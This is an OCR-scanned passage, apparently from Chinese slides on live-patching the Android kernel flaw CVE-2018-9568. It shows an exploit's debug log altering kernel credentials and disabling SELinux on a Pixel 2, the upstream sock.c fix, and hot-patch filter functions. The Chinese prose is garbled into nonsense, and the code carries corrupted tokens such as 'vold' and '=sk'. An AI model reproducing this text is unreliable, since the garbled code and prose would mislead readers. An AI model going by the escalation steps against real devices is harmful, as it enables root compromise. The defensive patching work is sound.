[DBG][4211][koffs_init_cred:129] offsetof(struct cred, uid) = 0x4
[DBG][4211][koffs_init_cred:140] offsetof(struct cred, cap_inheritable) = 0x28
[DBG][4211][root:86] cred = Oxffffffde4225a240

[+] Credential altered

[DBG][4211][root:98] selinux_enforcing = Oxffffff3355c%a560

[+] SELinux disabled

taimen:/ # getprop |grep fingerprint

[ro.bootimage.build.fingerprint]: [google/taimen/taimen:8.1.0/0PM2.171026.006.C1/4769658:user/release-keys]
[ro.build.fingerprint]: [google/taimen/taimen:8.1.0/0PM2.171026.006.C1/4769658:user/release-keys]
[ro.hardware.fingerprint]: [fpc]

[ro.vendor.build.fingerprint]: [google/taimen/taimen:8.1.0/0PM2.171026.006.C1/4769658:user/release-keys]
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51 BA#T

BAM TN TER®, RFA sk clone_lock AR HA sk B, HFHEH sk B9
sk_prot_creator 5 sk_prot —2, # T IXMIRA &S CVE-2018-9568,

diff --git a/net/core/sock.c b/net/core/sock.c
index 9b7b6bb..7d55c85 108644
-- a/net/core/sock.c
+++ b/net/core/sock.c
@@ -1654,6 +1654,8 @@ struct sock *sk clone lock(const struct sock *sk, const gfp t priority)

sock_copy(newsk, sk);
+ newsk-=sk prot creator = sk-=sk prot;

/* SANITY */
if (likely(newsk-=sk net refcnt))
get net(sock net{newsk));

RERBBEMNTAATRA, BEXMFRLE, RABRALLHINZEMEREZXZEEEL
. BEREETTDIAMA TEILR
o EEHLXK
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A A iR &
® WRUAER
RENRGRA, SV BEERFAERNATREEE
o {hEGEME
WMEEEEIERZ R NS E5MXE, BEENRAER

AT BREEEZRESTHBOXLRD, EBENRENEERGRE, RMNBEMHL

T KARMA BERRZGHEE R, TISKBR T ZindShEiarXEE=E, B KE6E
BERNERERGRHE.
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/* struct sock *sk clone lock(const struct sock *sk, const gfp t prioricy) #/
|ztatic unsigned long cases_sk clone lock(vold *%ret, wold #*sk, unsigned priority) {
vold * newsk = ¥*ret;

if (newsk) f{
unsigned long *sk prot = newsk + OFF_SE PROTO:;
unsigned long *sk prot creator = newsk + OFF SE PROTO CREATCOR:

*z2k prot_creator = %zk prot:

}

return FILTER CK;

BT FNZSITANT AU, 7E sk_clone_lock i #(+#T 74T, 7E sk_clone_lock & #0iR [B] A
MITHNT B4, #HIRT sk A9 sk_prot_creator 5 sk_prot {R¥F—2, X—SHEFTHNTEEMN
K. &2 sk_clone_lock REIKRGEHAZRGSIEE, L FIHNTERAARS ARG MR
FEF,

LR, BNETUEHENEEEEMNBER" T -

17+
*# Disable IPVE& ADDRFOEM on IPVE sockets
* static int ipvé setsockopt (struct sock *sk, int level, int optname,
* char wuser *gptval, unsigned int optlen)
unsigned long cases_ipvé setsockopt (vold *ret, woid *sk, int lewel,
int optname, char *%optwval, unsigned int optlen)
H
/* oases printk info("oases ipvé setsockopt called"); */
] if (optname = IFV& ADDRFORM) {
/* oases printk info("IFVE ADDRFORM happening"); */
*{({int *)ret) = -EINVAL;
return FILTER HG;
}
return FILTER OK;
-}

& IPV6rRy IPV6_ADDRFORM W 2 mBMANLERM, BBERREZREXMR
EFAERLET, BT IXEAREMAGIER W SHIEL T B ipve_setsockopt e T
FT#NT, ¥ IPV6_ADDRFORM T M, XirthetiiZmBEEEMR.
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RME R L iR

KARMA BENRFHEERFUATHM |

® REMER

ET KARMA RG#ERE TR, RBEELHFRGER, MEXRGRAZIXME, b

TTF&RBEIRFER ;
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